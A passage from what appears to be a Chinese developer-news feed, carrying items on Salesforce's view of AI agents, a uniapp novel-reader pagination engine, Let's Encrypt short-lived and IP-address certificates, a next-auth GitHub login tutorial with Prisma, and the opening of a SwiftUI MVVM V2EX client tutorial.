1、Salesforce 首席科学家:借助 AI Agent,工作将会更有能力、更有趣

近日,Salesforce 首席科学家 Silvio Savarese 发表文章,其中他表示步入 AI 的第三波浪潮,借助 AI Agent,人们工作起来会更有能力、更觉有趣、更富创造力。

文中,Silvio Savarese 分了三个阶段来谈及 AI 的发展。

第一阶段,专家级的 AI Agent 聚焦特定行业,能出色完成既定任务。Silvio Savarese 认为,这将会给日常关键的商业运作带来了前所未有的效率和准确性,同时这些 AI Agent 是企业应用 AI 的基础,它们处理零散任务又稳又快,极大改变了部门的工作流程。

而第二阶段,Silvio Savarese 则认为是公司内部的专家 AI Agent 开始协同合作,朝着一个共同的商业目标努力。并且这一阶段会引入「协调者」身份的 AI Agent,负责组织多个专家 AI Agent 的协同工作。

到达第三阶段,Silvio Savarese 表示跨组织边界的复杂 Agent-to-Agent(A2A)交互出现了,这开创了全新的商业模式。最后,Silvio Savarese 也表示,要实现最终的理想目标,人类还有很多工作要做。Silvio Savarese 建议,当人类部署愈发复杂的 AI Agent 系统时,每一项决策都必须遵循信任与责任这两个基本原则,要做到构建信任与确保问责制。(@ APPSO)

更多 Voice Agent 学习笔记:

2024,语音 AI 元年;2025,Voice Agent 即将爆发丨年度报告发布

对话谷歌 Project Astra 研究主管:打造通用 AI 助理,主动视频交互和全双工对话是未来重点

这家语音 AI 公司新融资 2700 万美元,并预测了 2025 年语音技术趋势

语音即入口:AI 语音交互如何重塑下一代智能应用

Gemini 2.0 来了,这些 Voice Agent 开发者早已开始探索……

帮助用户与 AI 实时练习口语,Speak 为何能估值 10 亿美元?丨Voice Agent 学习笔记

市场规模超 60 亿美元,语音如何改变对话式 AI?

2024 语音模型前沿研究整理,Voice Agent 开发者必读

从开发者工具转型 AI 呼叫中心,这家 Voice Agent 公司已服务 100+客户

WebRTC 创建者刚加入了 OpenAI,他是如何思考语音 AI 的未来?

写在最后:

我们欢迎更多的小伙伴参与「RTE 开发者日报」内容的共创,感兴趣的朋友请通过开发者社区或公众号留言联系,记得报暗号「共创」。

对于任何反馈(包括但不限于内容上、形式上)我们不胜感激、并有小惊喜回馈,例如你希望从日报中看到哪些内容;自己推荐的信源、项目、话题、活动等;或者列举几个你喜欢看、平时常看的内容渠道;内容排版或呈现形式上有哪些可以改进的地方等。

素材来源官方媒体/网络新闻

by RTE开发者社区 at January 17, 2025 08:09 AM

juejin frontend

从零开始手撸一个阅读器--排版引擎的实现(1)

概述

以起点为例,一个款好的阅读器排版引擎需要处理以下几个问题:

  1. 避头尾:某些标点不能出现在行的开头,例如“逗号”就不应该出现在行首。有些标点不能出现在行的结尾,例如“正引号”就不应该出现在行的结尾
  2. 压缩:如果出现连续的标点,例如冒号后面跟着引号,那么这两个标点不应该占据2个字符的位置,而应该合并起来占据一个字符的位置。
  3. 每行文字两端对齐:每一行的文字都可能出现中文、字母、数字、特殊符号等字符类型,每一行的文字的排版不可能刚好占满整行,每行文字的两端就会无法对齐。
  4. 每页段落底部对齐:每一个段落的行数不确定,每一段和每一行之间的间距也不确定,每一页的排版就会出现底部留白的情况。

以起点app为例子,能够发现,基本上每一页都是两端对齐+底部对齐 qidian.jpg

实现方式

CSS3 column多栏布局

CSS3 中的 column(多栏布局)是一种可以将文本内容或其他元素排列成多列显示的布局方式,就像报纸的排版一样。它可以让内容在水平方向上分布在多个列中,尤其适用于较长的文本段落或者元素列表。

  1. 原理很简单,固定视窗(overflow:hidden),通过设置容器transform来进行左右翻页。但是在第一页和最后一页位置的时候,无法预览章节上一页/下一页的内容。

columns.png

  1. 页码计算:画个图,写个方程式就得出来了,具体和布局有关

pagecount.png

  1. 平移动画:主要分为三个动作
    • touchstart:记录最开始点击位置, 记录初始时间
    • touchmove:记录偏移量,通过 transition 和 transform 设置翻页动画
    • touchend:有三种情况
      • 点击事件: 即没有偏移量,点中间唤出菜单,左右两边进行页面切换
      • 短时间拖拽:即快速滑动页面,处理为页面切换操作
      • 长时间拖拽:若拖拽距离大于1/3屏幕,处理成页面切换操作,否则处理成回弹
/** 有效拖拽时间(毫秒) */
const dragTime = 300;
/** 显示菜单 */
const showMenu = ref(false);
/** 触摸位置 */
let touchPosition = 0;
/** 触摸的时间 */
let touchTime = 0;
/** 是否开始触摸 */
let startTouch = false;
/** touch时原transLateX值 */
let currentTranslateX: number;

function onTouchStart(e: TouchEvent) {
  startTouch = true;
  const pageX = e.touches[0].pageX;
  touchPosition = pageX;

  touchTime = Date.now();

  currentTranslateX = getReaderTranslateX();
}

function onTouchMove(e: TouchEvent) {
  if (!startTouch) return;

  if (showMenu.value) return;
  const pageX = e.touches[0].pageX;
  const slide = pageX - touchPosition;
  if (slide < 0 && isLastPage.value) {
    showToast("没有啦~");
    return;
  }
  if (slide > 0 && isFirstPage.value) {
    showToast("当前为第一页");
    return;
  }
  readerSectionStyle.transition = "0s all";
  readerSectionStyle.transform = `translateX(${slide + currentTranslateX}px)`;
}
function onTouchEnd(e: TouchEvent) {
  if (!startTouch) return;
  startTouch = false;
  if (sliderWindowInfo.show) {
    sliderWindowInfo.show = false;
  }
  if (showMenu.value) {
    showMenu.value = false;
    return;
  }
  const pageX = e.changedTouches[0].pageX;
  const slideX = pageX - touchPosition;
  const value = appOption.screenWidth / 3;
  const now = Date.now();

  // /** 返回原来位置 */
  const backPosition = () => {
    readerSectionStyle.transition = "0.4s all";
    readerSectionStyle.transform = `translateX(${currentTranslateX}px)`;
  };
  // 点击事件
  if (Math.abs(slideX) <= 0) {
    if (pageX < value) {
      // pre
      pagePrev();
    } else if (pageX > value * 2) {
      // next
      pageNext();
    } else {
      //点击中间
      setType.value = "slider";
      showMenu.value = true;
    }
  } else {
    // 短时间拖拽和长时间长距离拖拽
    if (now - touchTime < dragTime || (now - touchTime > dragTime && Math.abs(slideX) >= value)) {
      // 拖拽距离大于 1/3
      if (slideX < 0) {
        // next
        pageNext();
      } else {
        // pre
        pagePrev();
      }
    } else {
      backPosition();
    }
  }
}

注意

  1. uniapp打包成app后不能使用 document ,需要使用uni提供的api
  2. 但是 uni.createSelectorQuery拿不到元素的scrollWidth属性,我是放置了一个占位元素去拿到anchro元素的right值得到scrollWidth
  3. uni.createSelectorQuery是一个异步任务,我在实际使用过程中会出现right值的获取不准确的情况下,导致最终放弃了column布局方案。
  4. 如果一定要使用 column 布局方案,请使用renderjs
  5. 具体思路可以看看 地址src/pages/reader/index_v1.vue 实现
<!-- html -->
<p id="anchro_last_p" style="width: 100%; height: 0"></p>

// js
function updatePageCount() {
  getNodeInfo("#anchro_last_p").then((res) => {
    setTimeout(() => {
      const right = res?.right ?? 0;
      const scrollWidth = right - bookOption.sizeInfo.lrPadding;
      pageCount.value = (scrollWidth + 32) / (appOption.screenWidth - bookOption.sizeInfo.lrPadding * 2 + 32);
    }, 0);
  });
}

function getNodeInfo(selector: string): Promise<UniApp.NodeInfo | null> {
  return new Promise((resolve) => {
    const query = uni.createSelectorQuery();
    query
      .select(selector)
      .boundingClientRect((data) => {
        resolve((data as UniApp.NodeInfo) || null);
      })
      .exec();
  });
}

缺点

  1. 依赖于平台排版渲染能力,小程序不支持,兼容性差。
  2. 所有排版均为平台自动渲染,只有一个容器,无法灵活的对每一页的内容做自定义处理。
  3. 长章节文本的渲染可能会出现性能问题。
  4. 翻页处理困难,基本上只能实现平滑翻页。其余翻页方式实现困难,强行实现只会带来更多的灾难。
  5. 灵活性差:比如每一页底部的留白空缺就无法处理。

优点

  • 简单、快速,在产品功能简单的情况下可以使用

JS计算分页

思路:canvas.measureText

  1. 主要思路就是通过 measureText 去测量一段文本的宽度,再根据屏幕宽度去计算有多少行。根据行数、文字高度和间距计算出一页的高度,去分页就行了。
  2. 但是有下面几个需要注意的点:
    • measureText 计算出来的宽度并不准确,比实际宽度偏小。measureText 计算结果和字体大小、字体类型、字体重量等很多因素有关。这一点影响其实不大,重点是 measureText 计算出来的宽度和浏览器的排版是没关系的。大致就相当于把十行文字全部放在一行,然后测量一行文字的宽度。
    • 在浏览器文字的排版中,如果下一行首字符是以特殊字符开始,往往会自动把上一行的段尾的文字放到下一行的段首,会尽可能的处理这种避头尾的情况。但是这就会导致实际测量出来的段落刚好是两行,而实际看到的却是三行。即计算结果比实际宽度偏小的情况。
    • 还有一些情况,比如说一个小写字符的宽度本身很小,但是如果在一个段落的段首,确可能占一整个中文汉字的的情况,具体和字体类型有关。
    • uni提供了一个api: uni.createCanvasContext,可以创建一个canvas对象(document会有兼容问题)。但是uni.createCanvasContext.measureText 在app端会有严重的性能问题。造成严重的卡顿,应该避免使用!!!
  3. render 实践指南
    • renderjs 网上教程很少,官网写的也很简略。并且不支持 vue3 `不支持 setup script语法。
    • renderjs 使用可以看这里
  4. renderjs 使用需要注意的地方
    • 最佳实践:以子组件的形式使用,如果放到一起的话,享受不到ts的支持,并且ts还会会报错,而且原页面逻辑不用动(天知道我最开始把我的vue setup重构成 setup() {}, 再重构成 export default {}, 最后又重构成 setup 期间经历了什么)
    • vue3项目中,renderjs 没有提示,应该是vscode插件的问题,反正就是Vetur、Volar 之间的各种冲突(如果我没记错的话vue2使用的是Vetur,vue3使用的是Volar)
    • 看具体思路可以看看 地址src/pages/reader/components/Renderjs_v2.vue 实现

完整代码(写不动了,直接看代码把 - .-)

  methods: {
    loadChapter(newVal, oldValue, ownerInstance, instance) {
      if (newVal?.data?.title && newVal?.data?.title) {
        const { pageWidth, pageHeight, statusBarHeight, bookOption } = newVal.options;
        this.pageWidth = pageWidth;
        this.pageHeight = pageHeight;
        this.statusBarHeight = statusBarHeight;
        this.bookOption = bookOption;
        const d1 = +new Date();
        const chapterPageList = this.updateChapterList(newVal.data);
        this.$ownerInstance.callMethod("updateContainerContent", { params: newVal, chapterPageList });
        const d2 = +new Date();
        console.log(d2 - d1, "total Spend Timer!!!!!");
      }
    },
    updateChapterList(data: { title: string; content: string }) {
      function customRound(num1: number, num2: number) {
        const result = num1 / num2;
        const integerPart = Math.floor(result); // 获取整数部分
        const decimalPart = result - integerPart; // 获取小数部分
        if (decimalPart > 3 / 4) {
          return Math.ceil(result);
        } else {
          return Math.floor(result);
        }
        // return Math.floor(result);
      }
      /** 当前章节的段落列表 */

      const contents = data.content
        .split("\n")
        .map((i) => i.trim())
        .filter((i) => i);

      /** 下边距 */
      const margin = this.bookOption.sizeInfo.margin;
      /** 容器实际宽度 */
      const width = this.pageWidth - this.bookOption.sizeInfo.lrPadding * 2;
      /** 实际一行能展示的宽度 */
      const actualWidth = this.getActualWidth(width);

      /** 计算的页数 */
      let page = 0;
      /** 是否第一页 */
      let firstPage = true;
      /** 一页的字体容器高度 */
      let height = 0;
      /** 一页的字体列表 */
      let list = [];
      /** 下一页超出的数据 */
      let nextPageText = {
        height: 0,
        text: "",
      };

      // 先重置为一个空的数组,因为二维数组的值初始化是`undefined`
      const chapterPageList: Array<{ title: string; content: Array<string>; breakLineIndex?: Array<number> }> = [];
      // 软分段索引值
      const breakLineIdx: Array<number> = [];
      let i = 0;
      while (i < contents.length) {
        const item = contents[i];
        let fontWidth = this.getTextWidth(item, actualWidth, breakLineIdx.includes(i)); // 使用 getTextWidth 来计算文本宽度
        const row = Math.ceil(fontWidth / actualWidth);
        const itemHeight = row * this.bookOption.sizeInfo.pLineHeight + margin;

        if (firstPage) {
          const w = this.getTextWidth(data.title, actualWidth, true, this.bookOption.sizeInfo.title);
          const r = Math.ceil(w / actualWidth);
          const h = r * this.bookOption.sizeInfo.tLineHeight + margin;

          height += h;
          firstPage = false;
        }

        // 把上一页超出的内容加到当前页中去
        if (nextPageText.height) {
          height += nextPageText.height;
          list.push(nextPageText.text);
          // 用完拼接好的页面记得清除
          nextPageText.height = 0;
          nextPageText.text = "";
        }

        // 处理长段落:如果当前段落不能完全放下,分为两部分
        const containerHeight =
          this.pageHeight -
          this.bookOption.sizeInfo.infoHeight -
          this.bookOption.sizeInfo.infoHeight -
          this.bookOption.sizeInfo.tPadding -
          this.bookOption.sizeInfo.bPadding -
          this.statusBarHeight;

        if (height - margin + itemHeight > containerHeight) {
          // 当前段落超出页面,尝试将一部分放到下一页
          const remainingSpace = containerHeight - height; // 剩余的可用空间
          const allowRemainRow = customRound(remainingSpace, this.bookOption.sizeInfo.pLineHeight); // 可填充的行数

          // console.log(
          //   `总空间 ${containerHeight} 第${page + 1}页剩余可用空间 ${remainingSpace} 可填充行数 ${allowRemainRow} 需要填充的字符串 ${item}`,
          // );

          if (allowRemainRow > 0) {
            let currentText = ""; // 当前页已经填充的文本
            let currentLineCount = 0; // 当前页已经填充的行数
            let fontWidth = 0;

            // 逐字符处理,直到文本的宽度大于可以填充的行数宽度
            let remainingText = item; // 剩余的文本

            while (remainingText.length > 0) {
              fontWidth = this.getTextWidth(currentText + remainingText[0], actualWidth); // 加上一个字符的宽度

              const totalWidth = actualWidth * allowRemainRow; // 当前页的总宽度
              // 如果当前行的宽度超出剩余空间,就跳出循环
              if (fontWidth > totalWidth) {
                break;
              }

              currentText += remainingText[0]; // 将当前字符添加到当前页的文本
              remainingText = remainingText.slice(1); // 剩余文本去掉第一个字符
            }

            // 当前页填满后,保存内容
            list.push(currentText);
            height += currentLineCount * this.bookOption.sizeInfo.pLineHeight + margin;

            // 剩余部分的文本
            const nextText = remainingText;

            if (nextText) {
              contents.splice(i + 1, 0, nextText);
              breakLineIdx.push(i + 1);
            }
            // 保存当前页的内容
            chapterPageList[page] = {
              title: "",
              content: list,
            };
            list = [];
            height = 0;
            page++; // 跳到下一页
            i++;
            continue; // 当前段落已经被拆分,跳过继续处理
          }
        }

        // 如果当前段落没有超出页面,直接放到当前页
        list.push(item);
        height += itemHeight;
        // 判断是否超出一页的高度
        if (height - margin > containerHeight) {
          list.pop();
          nextPageText.height = itemHeight;
          nextPageText.text = item;
          chapterPageList[page] = {
            title: "",
            content: list,
          };
          list = [];
          height = 0;
          page++;
        } else {
          if (i === contents.length - 1) {
            // 最后一页
            chapterPageList[page] = {
              title: "",
              content: list,
            };
          }
        }
        i++;
      }

      // 最后一页的标题
      chapterPageList[0].title = data.title;

      if (breakLineIdx.length) {
        let i = 0;
        for (let index = 0; index < chapterPageList.length; index++) {
          const page = chapterPageList[index];

          if (!page.breakLineIndex) {
            page.breakLineIndex = [];
          }
          page.content.forEach((ctx, pos) => {
            if (breakLineIdx.includes(i)) {
              page.breakLineIndex!.push(pos);
            }
            i++;
          });
        }
      }

      return chapterPageList;
    },
    // 获取文本的实际宽度
    getTextWidth(
      text: string,
      actualWidth?: number,
      isBreakLine: boolean = false,
      fontSize: number = this.bookOption.sizeInfo.p,
    ) {
      if (!this.canvas) {
        const cvs = document.createElement("canvas");
        this.canvas = cvs.getContext("2d")!;
      }

      this.canvas.font = `${fontSize}px PingFang SC`; // 设置字体大小

      // 如果文本的第一个字符是半角特殊字符或全角特殊字符,就将它替换为一个中文字符
      if (this.isSpecialCharacter(text.charAt(0))) {
        text = "啊" + text.slice(1); // 用中文字符 '啊' 替换开头的字符
      }

      // 计算实际宽度
      if (!actualWidth) {
        return this.canvas.measureText(text).width;
      }

      // 如果不是软分行段首,即有两个字符缩进
      if (!isBreakLine) {
        text = "啊啊" + text;
      }
      let totalWidth = this.canvas.measureText(text).width;
      if (totalWidth <= actualWidth) {
        return totalWidth;
      }
      // 如果宽度大于实际容器宽度,判断是否有特殊符号,进行换行处理
      // 这里实际是因为,如果下一行是以特殊字符开始,浏览器的排版会自动把上一行的段尾放到下一行的段首,会尽可能的处理以符号开始的情况
      let currentLineWidth = 0;
      let lines = [];
      let textArr = text.split("");
      let line = "";
      // 循环处理每个字符并判断换行
      for (let i = 0; i < textArr.length; i++) {
        let str = line + textArr[i];
        currentLineWidth = this.canvas.measureText(str).width;
        // 如果当前行宽度超过了容器宽度
        if (currentLineWidth <= actualWidth) {
          // 尝试把中间的全角字符转换成一个中文字符
          // 因为  canvas.measureText(str) 中带有全角,计算会不准确
          str = str.replace(/[!“”‘’()、,.:;<>@@[]\^_`{}|~]/g, "啊");
          currentLineWidth = this.canvas.measureText(str).width;
        }
        if (currentLineWidth > actualWidth) {
          // 判断是否需要将特殊符号移到下一行
          if (this.isSpecialCharacter(textArr[i])) {
            lines.push(line.slice(0, -1)); // 将当前行最后一个字符挪到下一行
            line = textArr[i - 1];
          } else {
            lines.push(line);
            line = "";
          }
          currentLineWidth = 0; // 重置当前行宽度
        }
        line += textArr[i];
      }

      // 最后一行如果有剩余的文本,则加入
      if (line.length > 0) {
        lines.push(line);
      }

      if (lines.length > 1) {
        totalWidth = actualWidth * (lines.length - 1) + this.canvas.measureText(lines.pop() || "").width;
      }

      return totalWidth;
    },
    // 判断字符是否是半角特殊字符或全角特殊字符
    isSpecialCharacter(char: string) {
      const halfWidthSpecialChars = /[!"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~]/; // 半角特殊字符
      const fullWidthSpecialChars = /[!“”‘’()、,.:;<>@[]\^_`{}|~]/; // 全角特殊字符
      return halfWidthSpecialChars.test(char) || fullWidthSpecialChars.test(char);
    },
    getActualWidth(width: number) {
      // 获取一行实际的宽度
      let sizeWidth = 0;
      let str = "啊";
      while (sizeWidth <= width) {
        str += "啊";
        sizeWidth = this.getTextWidth(str);
      }

      return this.getTextWidth(str.slice(1));
    },
  },
  1. 这段代码只能初步实现分页计算:但是实际处理仍然不够完善,旨在于提供思路。比如:while (remainingText.length > 0) {} 会每个文字计算一个宽度,这是一种很浪费性能的表现。直接通过actualWidth,计算每一行能容纳最大的汉字开始分割计算就行了。
  2. 主要思路其实就是:每一个段落高度(行数x高度)相加,如果大于容器高度。就把最后一个段落进行软分行,拆分一部分放到下一页里面。
  3. customRound 会进行空白填充,如果剩余空白太多,会尝试去多追加一行,即使会超出容器部分高度的情况下(避免留白太多)
  4. 性能较差(200ms以内):仅供参考,感兴趣的话喵一眼94行248行(处理标点符号避头)就行了(ps:因为找到了有大佬现成的轮子,我就放弃优化了 - .-)

最终分页实现

  1. 来源于你不知道的阅读器排版引擎,处理得已经很完善了
  2. 在基础上我添加了一个空白填充功能的处理

remain1.png

remain2.png

两端对齐

  1. text-align: justify; 会存在兼容问题(nvue不支持
  2. 每一个文字占一个元素:然后通过 justify-content: space-between; 两端对齐,兼容性好。

底部对齐

  1. 段落父元素:display: flex; justify-content: space-between; flex-direction: column;
  2. 因为有尝试进行空白填充,所以最终留白的高度不会太多。两端对齐后肉眼不会有很明显的大间距。

JS计算翻页动画

思路

  1. 整个阅读器只加载三个页面:当前页,上一页,下一页。当前页数是第一页的时候,上一页内容为上一章最后一页的数据,当前页数是最后一页的时候,下一页内容为下一章第一页的数据。
  2. 切换页码的时候,动态修改三个页面的内容就行了。
  3. 翻页方式只是改变三个页面的布局和移动动画就行。
  4. 具体处理看 地址src/pages/reader/index.vue 的实现
const pageTextList = ref<Array<{ title: string; content: PageList }>>([  {    title: "", // "page-1",    content: [],
  },
  {
    title: "", // "page-2",
    content: [],
  },
  {
    title: "", // "page-3",
    content: [],
  },
]);

相关

耗时三个月,我高仿了一个起点小说阅读器

参考

  1. 前端实现网络小说阅读器
  2. 你不知道的阅读器排版引擎
  3. 一个基于Vue.js的小说阅读器
  4. 基于CSS3 column多栏布局实现水平滑页翻页交互
  5. 面试官:你是如何获取文本宽度的?
  6. uniapp中使用renderjs的一些细节

by 何日 at January 17, 2025 08:00 AM

juejin article

IP地址SSL免费证书来了?是的

Let's Encrypt 近日宣布了两项重要的新功能更新计划:六天有效期证书选项和IP地址证书支持,这些新功能将在2025年陆续推出。这一举措旨在进一步提升 Web PKI 的安全性,并为更多场景提供 SSL/TLS 证书支持。

image.png

六天有效期证书:提升安全性

新推出的六天有效期证书(简称"短期证书")将与现有的90天证书并行提供。这种更短的有效期能带来以下优势:

  • 降低安全风险:当证书私钥遭到泄露时,较短的有效期可以大幅缩短潜在的危害窗口期
  • 减少对证书吊销的依赖:短期证书自然过期的特性降低了对证书吊销机制的需求
  • 促进自动化:短期证书实际上要求用户必须实现证书自动化更新,这也符合 Let's Encrypt 一直倡导的最佳实践

IP地址证书支持:扩展应用场景

除了短期证书外,Let's Encrypt 还将支持在六天有效期证书中包含 IP 地址作为主体备用名称(Subject Alternative Names)。这项功能将:

  • 支持直接通过IP地址建立安全的TLS连接
  • 无需域名即可获取受信任的证书
  • 验证方式将支持 http-01 和 tls-alpn-01 两种方式

发布时间表

Let's Encrypt 计划按以下时间表推出新功能:

  • 2025年2月:首批内部测试证书发布
  • 2025年4月:向部分早期用户开放短期证书
  • 2025年底:短期证书和IP地址支持全面开放

如何使用新功能

要使用这些新功能,用户需要:

  1. 确保使用支持 ACME 证书配置文件的客户端
  2. 选择短期证书配置文件(具体名称将在后期公布)
  3. 对于IP地址证书,系统将自动选择短期证书配置文件

准备工作建议

  • 确保您的 ACME 客户端能够可靠地自动更新证书
  • 测试和完善证书自动化更新流程
  • 关注 Let's Encrypt 的后续公告获取更多技术细节

by suke at January 17, 2025 07:57 AM

juejin frontend

Next.js 实战 (九):使用 next-auth 完成第三方身份登录验证

什么是 next-auth

next-auth 是一个专门为 Next.js 设计的、易于使用的、灵活的身份验证库。它简化了为你的应用程序添加身份验证(如登录、注册、登出等)的过程。next-auth 支持多种认证方式,包括通过电子邮件和密码、OAuth 2.0 提供商(如 Google、GitHub、Facebook 等)、以及自定义提供商。

以下是它的一些主要特点:

  1. 内置 OAuth 提供商next-auth 内置支持多个 OAuth 和 OpenID Connect 提供商,使得与第三方服务集成变得简单。
  2. 会话管理:提供了简单的 API 来处理用户会话,允许开发者轻松地获取当前用户的会话信息。
  3. 数据库兼容性:可以与多种数据库一起使用,以存储用户数据。它支持无头 CMS 和自定义后端。
  4. 多语言支持:内置对多语言的支持,可以根据用户的偏好语言显示错误消息和其他文本。
  5. 自定义页面:允许创建自定义的登录、注册或错误页面,以便更好地融入应用程序的设计风格。
  6. 安全默认值:采用了安全的默认设置,帮助保护应用免受常见的安全问题影响。
  7. API 路由:利用 Next.js 的 API 路由功能来处理身份验证逻辑,这意味着你可以创建自己的端点来进行登录、登出等操作。
  8. JWT 或数据库会话:可以选择使用 JSON Web Tokens (JWT) 进行状态无会话管理,或者选择基于数据库的会话。
  9. 适配器支持:对于想要将用户数据持久化到数据库中的情况,next-auth 提供了适配器(adapters),可以方便地与不同的数据库系统进行集成,比如 PrismaTypeORM 等。

具体步骤

  1. 安装依赖
pnpm add next-auth@beta
  1. 设置环境 唯一强制的环境变量是 AUTH_SECRET,这是库用来加密令牌和电子邮件验证散列的随机值。运行以下命令随机生成一个:
npx auth secret

这也会将其添加到本地的 .env 文件中

  1. 配置 在应用的根目录下创建一个新的 auth.ts 文件,包含以下内容:
import NextAuth from "next-auth"
 
export const { handlers, signIn, signOut, auth } = NextAuth({
  providers: [],
})
  1. /app/api/auth/[...nextauth]/route.ts 下添加路由处理程序:
import { handlers } from "@/auth" // Referring to the auth.ts we just created
export const { GET, POST } = handlers

配置 Github Provider

  1. 打开 OAuth Apps 页面,点击 New Oauth App 07w44g5g1akl2q3j3j35po0lax75voom.png

  2. 填入项目的信息,这里的 Homepage URL 我们可以先填本地开发的地址,等部署上线再改成线上地址,Authorization callback URL 填入 https://example.com/api/auth/callback/github,然后点击 Register Application n6jdiavhfkx03jebcp6uvkrrp9sl36jb.png

  3. 打开刚创建的 Oauth App,这里可以根据需要设置 Oauth App 信息,点击 Generate a new client secret 复制密钥 xrxwpqoy8nes7ihciwq7pggalmmsaewr.png

  4. 在根目录的 .env 文件中填入刚才复制的密钥

GITHUB_ID= 'xxxxx'
GITHUB_SECRET= 'xxxxxxxxx'
  1. 打开 /src/auth.ts 文件,配置 Github Provider 信息
import NextAuth from "next-auth"
import GitHub from "next-auth/providers/github"
 
export const { handlers, auth, signIn, signOut } = NextAuth({
  providers: [
    GitHub({
      clientId: process.env.GITHUB_ID,
      clientSecret: process.env.GITHUB_SECRET,
    })
  ],
})

会话管理

  1. 服务器组件 - 登录
import { signIn } from "@/auth.ts"
 
export function SignIn() {
  return (
    <form
      action={async () => {
        "use server"
        await signIn("github", { redirectTo: "/dashboard" })
      }}
    >
      <button type="submit">Sign in</button>
    </form>
  )
}
  1. 服务器组件 - 退出
import { signOut } from "@/auth.ts"
 
export function SignOut() {
  return (
    <form
      action={async () => {
        "use server"
        await signOut()
      }}
    >
      <button type="submit">Sign Out</button>
    </form>
  )
}
  1. 客户端组件 - 登录
"use client"
import { signIn } from "next-auth/react"
 
export function SignIn() {
  return (
    <button onClick={() => signIn("github", { redirectTo: "/dashboard" })}>
      Sign In
    </button>
  )
}
  1. 客户端组件 - 退出
"use client"
import { signOut } from "next-auth/react"
 
export function SignOut() {
  return <button onClick={() => signOut()}>Sign Out</button>
}
  1. 新建一个登录界面,点击登录按钮,就能看到跳转到 Github 授权信息 3ex00k87v4wful85eyjs0f43lmmduj1a.png

  2. 打开控制台,就能看到 session 会话信息,如果没有登录则返回 null km9t2er59vqhn2zy3vsfbvtfc8zebn3i.png

适配器 Adapters

next-auth 中,适配器(adapters)的主要作用是为会话管理和用户数据持久化提供数据库支持。适配器使得 next-auth 可以与不同的数据库系统进行交互,以便存储和检索用户信息、会话数据以及其他相关的认证信息,下面以 Prisma 为例

  1. 安装软件包
pnpm add @prisma/client @auth/prisma-adapter
pnpm add prisma --save-dev
  1. 设置环境变量
DATABASE_URL=postgresql://USER:PASSWORD@HOST:PORT/DATABASE?schema=SCHEMA
  1. 配置实例
import { PrismaClient } from "@prisma/client"
 
const globalForPrisma = globalThis as unknown as { prisma: PrismaClient }
 
export const prisma = globalForPrisma.prisma || new PrismaClient()
 
if (process.env.NODE_ENV !== "production") globalForPrisma.prisma = prisma
  1. 打开 /src/auth.ts 文件,配置实例信息
import NextAuth from "next-auth"
import { PrismaAdapter } from "@auth/prisma-adapter"
import { prisma } from "@/prisma"
 
export const { handlers, auth, signIn, signOut } = NextAuth({
  adapter: PrismaAdapter(prisma),
  providers: [],
})
  1. 在根目录 prisma/schema.prisma 创建模型文件
datasource db {
  provider = "postgresql"
  url      = env("DATABASE_URL")
}
 
generator client {
  provider = "prisma-client-js"
}
 
model User {
  id            String          @id @default(cuid())
  name          String?
  email         String          @unique
  emailVerified DateTime?
  image         String?
  accounts      Account[]
  sessions      Session[]
  // Optional for WebAuthn support
  Authenticator Authenticator[]
 
  createdAt DateTime @default(now())
  updatedAt DateTime @updatedAt
}
 
model Account {
  userId            String
  type              String
  provider          String
  providerAccountId String
  refresh_token     String?
  access_token      String?
  expires_at        Int?
  token_type        String?
  scope             String?
  id_token          String?
  session_state     String?
 
  createdAt DateTime @default(now())
  updatedAt DateTime @updatedAt
 
  user User @relation(fields: [userId], references: [id], onDelete: Cascade)
 
  @@id([provider, providerAccountId])
}
 
model Session {
  sessionToken String   @unique
  userId       String
  expires      DateTime
  user         User     @relation(fields: [userId], references: [id], onDelete: Cascade)
 
  createdAt DateTime @default(now())
  updatedAt DateTime @updatedAt
}
 
model VerificationToken {
  identifier String
  token      String
  expires    DateTime
 
  @@id([identifier, token])
}
 
// Optional for WebAuthn support
model Authenticator {
  credentialID         String  @unique
  userId               String
  providerAccountId    String
  credentialPublicKey  String
  counter              Int
  credentialDeviceType String
  credentialBackedUp   Boolean
  transports           String?
 
  user User @relation(fields: [userId], references: [id], onDelete: Cascade)
 
  @@id([userId, credentialID])
}

以上是 PostgreSQL 数据库的模型,如果是其他数据库,请参考:Prisma Adapter

  1. 在用户登录后,用户的会话信息就会自动保存到数据库:

zvqzb608197tpi0oi0xjn2mqbhx5uxbf.png

总结

  1. 本文只演示了 Github 平台的身份鉴权,其他平台应该也大差不差
  2. next-auth 还有很多强大的功能需要我们去探索

Githubnext-admin

线上预览地址Next Admin

by 白雾茫茫丶 at January 17, 2025 07:50 AM

juejin ios

使用SwiftUI+MVVM+Combine构建一个简化版V2EX客户端

背景

SwiftUI 是苹果推出的一种全新框架,专为开发者打造简单、高效、直观的开发体验。相比传统的 UIKit 开发模式,SwiftUI 让界面构建变得更容易,代码更精简,尤其是在响应式编程方面表现出色。作为一名开发者,我在学习 SwiftUI 的过程中,发现市面上的教程大多只讲解零散的功能点,很难系统性地帮助我们掌握 SwiftUI 开发。

为了更深入地理解 SwiftUI,同时提升自己的开发能力,我决定从零开始开发一个完整的 App。希望通过这篇文章的讲解,能帮助你也轻松上手。

我们将基于 SwiftUI、Combine 和 MVVM 架构来构建项目。这不仅是学习 SwiftUI 的理想方式,也是构建现代 iOS 应用的好实践。更重要的是,这篇文章适合初学者,无需担心基础问题。

最终源码已托管在 GitHub 仓库,可以参考。

项目截图

light_screenshot.jpeg

dark_screenshot.jpeg

项目概述

通过本文的开发实践,我们将构建一个简化版的 V2EX 社区客户端。

接口地址

UI地址

功能特点

  • 使用 SwiftUI 构建完全原生的声明式 UI。
  • 基于 Combine 处理响应式编程和异步数据流。
  • MVVM 架构,清晰的分层设计和可测试代码。
  • 自定义缓存机制,支持本地存储。
  • 多语言支持,包括英语和简体中文。
  • 深色模式和浅色模式的无缝集成。

项目结构

应用按照以下目录组织:

V2EXClient
├── Services      # 网络请求等服务
├── Utilties      # 工具类
├── Extension     # 扩展类
├── Core
  ├── Home            # 首页
    ├── Models        # 数据模型
    ├── Views         # SwiftUI 界面
    ├── ViewModels    # 视图模型,负责业务逻辑
  ├── Detail          # 详情页
    ├── Models        # 数据模型
    ├── Views         # SwiftUI 界面
    ├── ViewModels    # 视图模型,负责业务逻辑

开发流程

这里以开发首页最热列表页为例,讲解如何在项目中使用MVVM+Combine方式开发

1.数据模型

根据接口地址返回的数据对象,创建对应的数据模型:

/**
 URL:
 https://www.v2ex.com/api/topics/hot.json
 Response:
 {
...
 }
 */

// MARK: - TopicModel - 帖子
struct TopicModel: Identifiable, Codable {
    let node: NodeModel
    let member: MemberModel
    let lastReplyBy: String
    let lastTouched: Double
    let title: String
